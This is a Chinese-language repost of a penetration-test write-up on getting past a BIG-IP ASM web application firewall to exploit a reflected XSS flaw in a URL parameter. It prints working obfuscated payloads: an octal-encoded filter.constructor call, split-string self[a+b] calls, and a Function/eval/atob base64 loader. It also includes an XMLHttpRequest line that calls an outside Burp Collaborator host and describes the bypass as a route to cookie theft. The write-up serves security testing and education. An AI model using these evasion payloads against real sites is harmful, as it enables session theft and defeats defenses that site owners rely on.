绕 waf 实战之 xss 漏洞利用

admin 2022年7月5日19:33:08评论86 views字数 1767阅读5分53秒阅读模式

文章来源

https://shellbr3ak.medium.com/xss-waf-bypass-128e8b4167fb

在一次测试中,遇到一个可以利用 XSS 的点,但是存在 BIG-IP ASM 防火墙,导致无法直接利用,在大神的帮助下完成了利用。随后经过自己的努力,也找到了一种绕过方式。

0x01 XSS 漏洞发现

测试中发现一个接口,参数 PAGEURL 可控,且输入的内容会原样响应在返回包中,如图:

绕 waf 实战之 xss 漏洞利用

响应包如图:

绕 waf 实战之 xss 漏洞利用

测试常规 payload 被 WAF 拦截,如图:

绕 waf 实战之 xss 漏洞利用

响应包:

绕 waf 实战之 xss 漏洞利用

可以看到被 WAF 拦截。

0x02 WAF 绕过

在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子:

[]["146151154164145162”][“143157156163164162165143164157162"]("14516614115450141164157142504213112717015414315612115711512315375425151")()

老实说,长这个样子的 payload 我也是第一次见,解码后的内容是:

[]["filter"]["constructor"]("alert(1)")()

接下来使用这个 payload 进行测试,如图

绕 waf 实战之 xss 漏洞利用

响应如图:

绕 waf 实战之 xss 漏洞利用

可以看到 payload 都已经出现在响应包里,但是是否可以执行呢?使用浏览器打开这个 URL:

https://subdomain.redacted.com/...?PAGEURL=/something/";[][“146151154164145162”][“143157156163164162165143164157162”](“14516614115450141164157142504213112717015414315612115711512315375425151”)();var+test="

绕 waf 实战之 xss 漏洞利用

发现代码已经执行了,说明 payload 有效。

漏洞利用

当然,我们并不会满足于只是弹窗,接下来如何利用这个漏洞才是重点,首先基于 payload 的生成规则,编写了一个 Python 脚本,方便构造不同的 payload:

绕 waf 实战之 xss 漏洞利用

脚本使用方法,输入想要注入的 payload 即可:

绕 waf 实战之 xss 漏洞利用

XSS 通常用来盗取 cookie,接下来我尝试使用 XMLHttpRequest API 结合 burp 来进行漏洞利用的验证,将下面的 payload 进行转换:


var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net/xss",true); req.send(null);

绕 waf 实战之 xss 漏洞利用

然后将 payload 与 url 进行组合然后请求,查看 burp 的访问记录:

绕 waf 实战之 xss 漏洞利用

说明 payload 执行成功。

自我突破,新姿势

之前的 payload 是大佬给的,能不能自己实现一个绕过呢?看了一些 waf 绕过的资料后,发现以下 payload 可用:

a=”al”;b=”ert”;self[a+b]();

尝试是否可以绕过:

绕 waf 实战之 xss 漏洞利用

响应:

绕 waf 实战之 xss 漏洞利用

发现 waf 并没有拦截,尝试用浏览器打开页面,成功弹窗:

绕 waf 实战之 xss 漏洞利用

当然,利用 xss 不仅仅是弹窗,还是需要执行更复杂的功能,我们可以使用 Function 函数,构造的 payload 如下:

a=”Fun”;b=”ction”;c=”ev”;d=”al(a”;e=”tob”;f=”(‘YWxlcnQoMSk=’))”;self[a+b](c+d+e+f)();

请求之后的返回结果:

绕 waf 实战之 xss 漏洞利用

浏览器访问之后执行 payload:

绕 waf 实战之 xss 漏洞利用

接下来想要执行更复杂的 payload,只需要修改 base64 编码部分即可,所以编写了如下脚本:

绕 waf 实战之 xss 漏洞利用

比如之前提到的利用 burp 验证:

绕 waf 实战之 xss 漏洞利用

提交之后返回结果如图:

绕 waf 实战之 xss 漏洞利用

浏览器访问之后,在 burp 得到如下结果:

绕 waf 实战之 xss 漏洞利用

值得注意的是,self[""] 被拦截,但是 self[a+b] 没有。

总结

以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。

绕 waf 实战之 xss 漏洞利用

原文始发于微信公众号(信安之路):绕 waf 实战之 xss 漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月5日19:33:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕 waf 实战之 xss 漏洞利用https://cn-sec.com/archives/1159243.html

发表评论

匿名网友 填写信息